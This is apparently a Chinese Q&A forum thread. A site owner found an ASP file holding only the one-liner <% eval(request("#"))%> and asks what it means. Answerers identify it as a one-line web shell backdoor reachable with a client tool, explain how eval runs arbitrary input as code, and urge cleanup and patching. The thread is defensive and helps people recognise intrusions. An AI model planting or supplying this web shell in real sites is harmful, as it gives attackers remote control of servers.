Question

<% eval(request("#"))%>

<% eval(request("#"))%>不知道这个是什么意思..最近在检测木马及漏洞时看到有个文件.
connaq.asp里面就这一段代码.

Answer 1

<% eval(request("#"))%>这句话是一句话小马的服务端，入侵者能利用lake2的客户端进行连接，从而得到一个网站的最高权限，更甚至，拿下这台服务器，注意站点的安全了lz

Answer 2

很多年前觉得这东西很神奇，很神秘！其实说白了只是自己基本用eval函数罢了，这应该是脚本语言的弊端，eval函数可以把任何文本作为程序代码一样解释执行。可以推广来说，只要支持eval函数的后台程序都可以使用此类木马。不过能被种此类木马的，不是源代码不干净，就是服务器的被攻破了

Answer 3

很明显 这是一句话后门 尽快清理掉 可能你的网站已经被入侵了 尽快修补漏洞